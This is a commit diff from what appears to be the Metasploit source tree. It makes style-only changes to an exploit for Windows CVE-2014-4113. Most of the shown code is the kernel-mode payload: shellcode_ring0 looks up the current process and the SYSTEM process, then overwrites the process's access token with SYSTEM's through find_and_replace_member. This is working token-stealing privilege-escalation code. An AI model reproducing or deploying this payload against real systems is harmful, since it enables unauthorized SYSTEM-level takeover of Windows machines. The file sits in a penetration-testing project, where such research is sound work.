Skip to content

Commit cbd616b

Browse files
committed
A few sneaky style changes, but no functional ones
Changes were purely for style, and Juan was happy to let me make them as part of the merge.
1 parent 6574db5 commit cbd616b

File tree

1 file changed

+18
-19
lines changed

1 file changed

+18
-19
lines changed

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 18 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -137,28 +137,27 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
137137

138138

139139
// Search the specified data structure for a member with CurrentValue.
140-
BOOL find_and_replace_member(PDWORD Structure,
141-
DWORD CurrentValue,
142-
DWORD NewValue,
143-
DWORD MaxSize)
140+
BOOL find_and_replace_member(PDWORD pdwStructure, DWORD dwCurrentValue, DWORD dwNewValue, DWORD dwMaxSize)
144141
{
145-
DWORD i, Mask;
142+
DWORD dwIndex, dwMask;
146143

147144
// Microsoft QWORD aligns object pointers, then uses the lower three
148145
// bits for quick reference counting.
149146
#ifdef _M_X64
150-
Mask = ~0xf;
147+
dwMask = ~0xf;
151148
#else
152-
Mask = ~7;
149+
dwMask = ~7;
153150
#endif
154-
// Mask out the reference count.
155-
CurrentValue &= Mask;
151+
// dwMask out the reference count.
152+
dwCurrentValue &= dwMask;
156153

157-
// Scan the structure for any occurrence of CurrentValue.
158-
for (i = 0; i < MaxSize; i++) {
159-
if ((Structure[i] & Mask) == CurrentValue) {
154+
// Scan the structure for any occurrence of dwCurrentValue.
155+
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
156+
{
157+
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
158+
{
160159
// And finally, replace it with NewValue.
161-
Structure[i] = NewValue;
160+
pdwStructure[dwIndex] = dwNewValue;
162161
return TRUE;
163162
}
164163
}
@@ -171,19 +170,19 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
171170
{
172171
void *pMyProcessInfo = NULL;
173172
void *pSystemInfo = NULL;
174-
PACCESS_TOKEN SystemToken;
175-
PACCESS_TOKEN TargetToken;
173+
PACCESS_TOKEN systemToken;
174+
PACCESS_TOKEN targetToken;
176175

177176
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
178177
pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
179178

180-
TargetToken = pPsReferencePrimaryToken(pMyProcessInfo);
181-
SystemToken = pPsReferencePrimaryToken(pSystemInfo);
179+
targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
180+
systemToken = pPsReferencePrimaryToken(pSystemInfo);
182181

183182
// Find the token in the target process, and replace with the system token.
184183
find_and_replace_member((PDWORD)pMyProcessInfo,
185-
(DWORD)TargetToken,
186-
(DWORD)SystemToken,
184+
(DWORD)targetToken,
185+
(DWORD)systemToken,
187186
0x200);
188187
return 0;
189188
}

0 commit comments

Comments
 (0)